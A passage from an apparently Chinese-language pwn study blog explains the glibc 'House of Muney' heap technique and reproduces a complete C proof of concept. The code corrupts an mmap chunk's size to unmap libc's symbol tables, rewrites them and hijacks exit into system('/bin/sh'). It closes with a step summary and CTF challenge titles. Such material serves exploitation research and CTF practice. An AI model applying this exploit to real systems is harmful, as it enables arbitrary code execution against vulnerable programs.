  • 接下来计算之前libc基址与现在ptr指针的位置的偏移(之前的libc基址就是我们申请0x41000大小的libc基址,现在的ptr就是我们申请0x82000大小堆块返回的地址),并且计算system函数、bitmask_word_off字段的偏移、bucket_off字段的偏移、 exit_sym_st_value结构体字段的偏移。

image-20250715144802196

image-20250715144823506

image-20250715144945115

  • 接下来就是放置必要的_dl_runtim_resolve所需要的数据,
    • 修改bitmask_word_off字段为 0xf000028c0200130eul
    • 修改 bucket字段为0x86(无符号)
    • 修改exit_sym_st_value值为system函数的偏移
    • 修改hasharr的值为0x7c967e3e7c93f2a0ul
  • 最后初次调用exit函数,进行延迟绑定操作,exit@got会写入system的真实地址。

image-20250715145529826

image-20250715145708624

image-20250715145729657

实验二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
/*
* Title : PoC for House of Muney
* Author : Axura
* Lab : glibc-2.31-0ubuntu9.9 (Ubuntu 20.04)
* Website : https://4xura.com/pwn/heap/house-of-muney/
* Compile : gcc -Wl,-z,lazy -g -o house_of_muney_glibc-2.31 house_of_muney_glibc-2.31.c
* (Some system may apply NOW to pre-resolve all symbols in libc by default,
* So we can use the `-z,lazy` flag in compilation to enable lazy binding)
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

// These offsets are libc-specific
#define PUTS_OFFSET 0x84420
#define SYSTEM_OFFSET 0x52290
#define BITMASK_OFFSET 0x3c8
#define BUCKETS_OFFSET 0xbc8
#define CHAIN_ZERO_OFFSET 0x1b64
#define DYNSYM_OFFSET 0x4070 // .dynsym start
#define EXIT_STR_OFFSET 0x2efb // string "exit" offset in .dynstr, for sym->st_name
#define EXIT_SYM_INDEX 0X87 // 135, true bucket

// Extract from GDB or retrieve in script before unmapped
#define BITMASK_WORD 0xf000028c2200930e
#define BUCKET 0x86 // bucket to start iterate
#define NBUCKETS 0x3f3

// These values are fixed for Elf64_Sym structure in 64-bit system
#define ST_VALUE_OFFSET 0x8
#define ST_SIZE 0x18

// Values of the members in symbol table for hijaced target
#define ELF64_ST_INFO(bind, type) (((bind) << 4) | ((type) & 0x0F)) // Construct st_info from binding and type
#define STB_GLOBAL 1 // "exit" is global symbol
#define STT_FUNC 2 // "exit" is a code object
#define STV_DEFAULT 0 // "exit" is default-visible, globally exported function
#define SHN_EXIT 0x000f // "exit" is defined in section #15
#define SIZE_EXIT 0x20 // size for "exit" instructions is close to 0x20

// Calculated hash for symbol (use new hash method from dl-new-hash.h for latest glibc release)
#define NEW_HASH 0x7c967e3f // dl_new_hash("exit")

uintptr_t leak_libc_base() {
uintptr_t puts_addr = (uintptr_t)puts;
printf("[*] puts@libc = %p\n", (void *)puts_addr);

uintptr_t libc_base = puts_addr - PUTS_OFFSET;
printf("[*] Computed libc base = %p\n", (void *)libc_base);

return libc_base;
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

/* Command string to execute */
char *cmd = mmap((void *)0xdeadb000, 0x1000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
strcpy(cmd, "/bin/sh");

/* House of Muney */
printf("[*] Demonstrating munmap overlap exploitation via mmap chunks\n\n");

printf("[*] Step 1: Allocate a super-large chunk using malloc() → triggering mmap()\n");
size_t *victim_ptr = malloc(0x30000);
printf("[+] Victim chunk allocated at: %p (below libc), size: 0x%lx\n", victim_ptr-2, victim_ptr[-1]);

printf("\n");

puts("[*] Simulated high-to-low memory layout:\n"
" ld.so\n"
" ...\n"
" libc\n"
" victim chunk\n"
" ...\n"
" heap\n");

/*
* - Mappings
* Start End Perm Size Offset File
* 0x555555557000 0x555555558000 r--p 1000 2000 /home/axura/hacker/house_of_muney_glibc-2.31
* 0x555555558000 0x555555559000 rw-p 1000 3000 /home/axura/hacker/house_of_muney_glibc-2.31
* 0x555555559000 0x55555557a000 rw-p 21000 0 [heap]
* mmap chunk ➤ 0x7ffff7d9e000 0x7ffff7dcf000 rw-p 31000 0 [anon_7ffff7d9e]
* Hijack ➤ 0x7ffff7dcf000 0x7ffff7df1000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
* 0x7ffff7df1000 0x7ffff7f69000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
* 0x7ffff7f69000 0x7ffff7fb7000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
*
* - Target libc Internal
*
* 0x00007ffff7dcf350 - 0x00007ffff7dcf370 is .note.gnu.property in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7dcf370 - 0x00007ffff7dcf394 is .note.gnu.build-id in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7dcf394 - 0x00007ffff7dcf3b4 is .note.ABI-tag in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7dcf3b8 - 0x00007ffff7dd306c is .gnu.hash in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7dd3070 - 0x00007ffff7de0ea0 is .dynsym in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7de0ea0 - 0x00007ffff7de6f61 is .dynstr in /lib/x86_64-linux-gnu/libc.so.6
* 0x00007ffff7de6f62 - 0x00007ffff7de81e6 is .gnu.version in /lib/x86_64-linux-gnu/libc.so.6
*/

printf("[*] Step 2: Corrupt size field of the victim chunk to cover libc parts\n");

size_t libc_overwrite_size = 0x10000; // target region (.gnu.hash/.dynsym)
size_t victim_size = (victim_ptr)[-1];

size_t fake_size = (victim_size + libc_overwrite_size) & ~0xfff;
fake_size |= 0b10; // Preserve IS_MMAPPED bit

victim_ptr[-1] = fake_size;
printf("[+] Updated victim_size chunk size to: 0x%lx\n", victim_ptr[-1]);

printf("\n");

printf("[*] Step 3: Free corrupted victim chunk → triggers munmap on both chunks and libc area\n");

void *munmap_start = (void *)(victim_ptr - 2);
void *munmap_end = (void *)((char *)munmap_start + (fake_size & ~0x7));
printf("[*] munmap will unmap: %p → %p (size: 0x%lx)\n", munmap_start, munmap_end, fake_size);

free(victim_ptr);
printf("[+] Victim chunk has now been freed\n");
printf("[!] .gnu.hash and .dynsym are now unmapped. New symbol resolutions will fail!\n");

/*
* - For mmap chunks, glibc malloc directly calls munmap() on free().
*
* - Unlike normal heap chunks (which become UAF), a munmapped chunk
* is fully returned to the kernel and becomes inaccessible.
*
* - If we try accessing the freed mmap memory, it causes a segfault.
*
* - Our goal is to reclaim this unmapped memory by issuing a new
* malloc() that overlaps the freed area - effectively overlapping
* a new mmap chunk over libc, including .dynsym and .gnu.hash.
*
* - WARNING: Any new dynamically resolved function (like assert(), etc.)
* will crash if its symbol isn't already resolved before the munmap.
* This is because symbol resolution related sections are now GONE.
*
* => Now we will reallocate the freed chunk and write our symbol resolution
* logic on the hijacked sections
*/

printf("\n");

printf("[*] Step 4: Reallocate a larger overlapping mmap chunk to reclaim unmapped area\n");
size_t *overlap_ptr = malloc(0x100000); // large enough to overlap munmapped region

size_t overlap_start = overlap_ptr - 2;
size_t overlap_size = overlap_ptr[-1] & ~0xfff;
size_t overlap_end = overlap_start + overlap_size;

printf("[+] Overlapping chunk start : %p\n", overlap_start);
printf("[+] Overlapping chunk end : %p\n", overlap_end);
printf("[+] Overlapping chunk size : 0x%lx\n", overlap_size);

printf("\n");

printf("[*] Step 5: Leak libc base address, before overwriting our targets on libc mappings\n");
uintptr_t libc_base = leak_libc_base();
printf("[+] libc base: %p\n", libc_base);

printf("\n");

// check if victim chunk, .gnu.hash, .dynsym (higher) overlapped
uintptr_t dynsym_addr = libc_base + DYNSYM_OFFSET;
printf("[*] .dynsym section starts at %p\n", dynsym_addr);
printf("[*] Checking overlap covers .dynsym: [%p → %p)\n", (void *)overlap_start, (void *)overlap_end);

if (!(overlap_start <= dynsym_addr && dynsym_addr < overlap_end)) {
const char *msg = "[!] Overlap does not cover .dynsym - aborting\n";
write(2, msg, strlen(msg));
_exit(1);
}

printf("[✓] We can now rewrite internal glibc sections: .gnu.hash, .dynsym, etc.\n");

printf("\n");

printf("[*] Step 6: Calculate offsets of in-libc target addresses to overwrite\n");
printf(" Here we simulate to write starting from the allocated victim chunk\n");
printf(" So we will calculate the offsets of the targets to the overlapped chunk\n");
printf(" Start writing from the entry at: %p\n", overlap_ptr);

uint64_t write_to_libc_offset = (uint64_t)libc_base - (uint64_t)overlap_ptr;
uint64_t bitmask_word_offset = BITMASK_OFFSET + ((NEW_HASH / 0x40) & 0xff) * 8; // bitmask_word for "exit"
uint32_t bucket_index = NEW_HASH % NBUCKETS; // bucket index for "exit" (0xc4)
uint64_t bucket_offset = BUCKETS_OFFSET + bucket_index * 4; // bucket for "exit"
uint64_t hasharr_offset = CHAIN_ZERO_OFFSET + BUCKET * 4; // hasharr[i] for "exit"

uint64_t bitmask_word_addr = (uint64_t)overlap_ptr + write_to_libc_offset + bitmask_word_offset;
uint64_t bucket_addr = (uint64_t)overlap_ptr + write_to_libc_offset + bucket_offset;
uint64_t hasharr_addr = (uint64_t)overlap_ptr + write_to_libc_offset + hasharr_offset;
uint64_t exit_symtab_addr = (uint64_t)overlap_ptr + write_to_libc_offset + DYNSYM_OFFSET + EXIT_SYM_INDEX * ST_SIZE; // [!] Hijack

printf("[+] bitmask_word addr: %p\n", (void *)bitmask_word_addr);
printf("[+] bucket addr: %p\n", (void *)bucket_addr);
printf("[+] hasharr addr: %p\n", (void *)hasharr_addr);
printf("[+] exit@dynsym addr: %p\n", (void *)exit_symtab_addr);

printf("\n");

/*
* - When glibc is loaded via ld-linux, its .text, .dynsym, .gnu.hash, etc. sections are mapped as:
* .text : r-xp
* .gnu.hash: r--p
* .dynsym : r--p
*
* They are marked read-only in /proc/self/maps
*
* - In House of Muney:
* After the munmap() triggered via free(mmap_chunk) releases parts of the libc mapping (like .gnu.hash, .dynsym),
* a subsequent malloc() (which becomes an mmap() internally) reclaims the same virtual memory range.
* But with read-write permissions!
* Because it's now a fresh anonymous mapping owned by the process, not libc's original read-only mapping.
*
* - So, the new mapping is:
* rw-p (read/write/private)
* Because that's what malloc() requests for data chunks.
*
* => This is the core primitive behind House of Muney.
*/

printf("[*] Step 7: Overwrite glibc's GNU Hash Table related stuff\n");

*(uint64_t *)bitmask_word_addr = BITMASK_WORD;
printf("[+] bitmask_word (%lx) in bitmask[indice] for 'exit' populated @ %p!\n", BITMASK_WORD, bitmask_word_addr);

*(uint32_t *)bucket_addr = BUCKET;
printf("[+] bucket value (%d) in buckets[index] for 'exit' populated @ %p!\n", BUCKET, bucket_addr);

/* Hash will be checked at 2nd loop for the "true" bucket 0x87 of exit
* And it must be - if we write the hash on the location calculated according to bucket (0x86) - it fails
* That's why I describe the index from readelf for "exit" (0x87) is the true bucket
*/
uint32_t hash = NEW_HASH ^ 1;
// *(uint32_t *)hasharr_addr = NEW_HASH ^ 1;
*((uint32_t *)hasharr_addr + 1) = hash;
printf("[+] hasharr value (%d) populated @ %p!\n", hash, hasharr_addr);

printf("\n");

/*
* - Exit symbol table and its offset:
*
* pwndbg> ptype /o $exit_sym
* type = struct {
* 0 | 4 Elf64_Word st_name; // Offset in .dynstr
* 4 | 1 unsigned char st_info; // Symbol type and binding
* 5 | 1 unsigned char st_other; // Visibility
* 6 | 2 Elf64_Section st_shndx; // Section index
* 8 | 8 Elf64_Addr st_value; // Resolved address (Hijack in exploit)
* 16 | 8 Elf64_Xword st_size; // Size of the object (usually 0 for funcs like exit)
*
* total size (bytes): 24
* }
*/

printf("[*] Step 8: Patch [.dynsym] to redirect 'exit' to 'system'\n\n");

typedef struct {
uint32_t st_name; // 0 Offset into .dynstr
uint8_t st_info; // 4 Type and binding
uint8_t st_other; // 5 Visibility
uint16_t st_shndx; // 6 Section index
uint64_t st_value; // 8 Symbol value (resolved address)
uint64_t st_size; // 16 Size of the object
} Elf64_Sym;

Elf64_Sym *exit_symbol_table = (Elf64_Sym*)exit_symtab_addr;

/* Recovery (0xf001200002ef) */
printf("[*] Patching st_name with the offset pointing back to exit@dynstr...\n");
exit_symbol_table->st_name = EXIT_STR_OFFSET;
printf("[+] exit@dynstr → 'exit'\n");

printf("[*] Patching st_info for typing & binding...\n");
uint8_t st_info_val = ELF64_ST_INFO(STB_GLOBAL, STT_FUNC);
exit_symbol_table->st_info = st_info_val; // (0x1 << 4) | 0x2 = 0x12
printf("[+] st_info is now patched as 0x%02x\n", st_info_val);

printf("[*] Patching st_other for symbol visibility...\n");
exit_symbol_table->st_other = STV_DEFAULT; // 0
printf("[+] st_other is now patched as 0x%02x\n", STV_DEFAULT);

printf("[*] Patching st_shndx for telling symbol section index...\n");
exit_symbol_table->st_shndx = SHN_EXIT; // 0x000f
printf("[+] st_shndx is now patched as 0x%04x\n", SHN_EXIT);

printf("[*] Patching st_shndx for telling symbol section index...\n");
printf("[*] Though this is not neccessary to populte in House of Muney\n");
exit_symbol_table->st_size = SIZE_EXIT; // 0x20
printf("[+] st_shndx is now patched as 0x%016lx\n", SIZE_EXIT);

printf("\n");

/* Hijack exit → system */
printf("[*] [HIIJACK] Overwrite st_value in the 'exit' symbol table with offset of system func call\n");
exit_symbol_table->st_value = SYSTEM_OFFSET;
printf("[+] exit@dynsym → system()\n");

printf("\n");

printf(
"[!] Now the exit .dynsym table structures as:\n\n"
" typedef struct {\n"
" uint32_t st_name; // Offset into .dynstr - 0: 0x%x\n"
" uint8_t st_info; // Type and binding - 4: 0x%02x\n"
" uint8_t st_other; // Visibility - 5: 0x%02x\n"
" uint16_t st_shndx; // Section index - 6: 0x%04x\n"
" uint64_t st_value; // Resolved address - 8: 0x%016lx\n"
" uint64_t st_size; // Size of the object - 16: 0x%lx\n"
" } Elf64_Sym;\n\n",
EXIT_STR_OFFSET, st_info_val, STV_DEFAULT, SHN_EXIT, SYSTEM_OFFSET, SIZE_EXIT
);

printf("\n");

printf("[*] Step 9: Trigger symbol resolution for hijacked function\n");
printf("[✓] Calling exit(\"/bin/sh\") → now system(\"/bin/sh\")\n");
exit((uintptr_t)cmd);
}

利用总结

  1. 通过申请很大的堆块size为A,将堆块的位置申请到libc.so.6的地址前面
  2. 然后修改该堆块的size位为A+X,使得其能覆盖到.dynsym/.gnu.hash/etc.,此时libc的符号表还是只读状态。
  3. 然后将修改了size位的堆块进行释放,这个时候.dynsym/.gnu.hash/etc.这些段也连带着被取消映射
  4. 再次申请一个大堆块,至少需要申请的大小需要A+X,内核将重新分配给刚刚释放一样的堆地址给用户使用此时libc.dynsym/.gnu.hash/etc.这些段就变成可读可写了
  5. 最后伪造这些相关结构即可。

题目1_ciscn2023半决赛华中赛区_muney

题目2_pwn_me

  • 不知道什么比赛的题目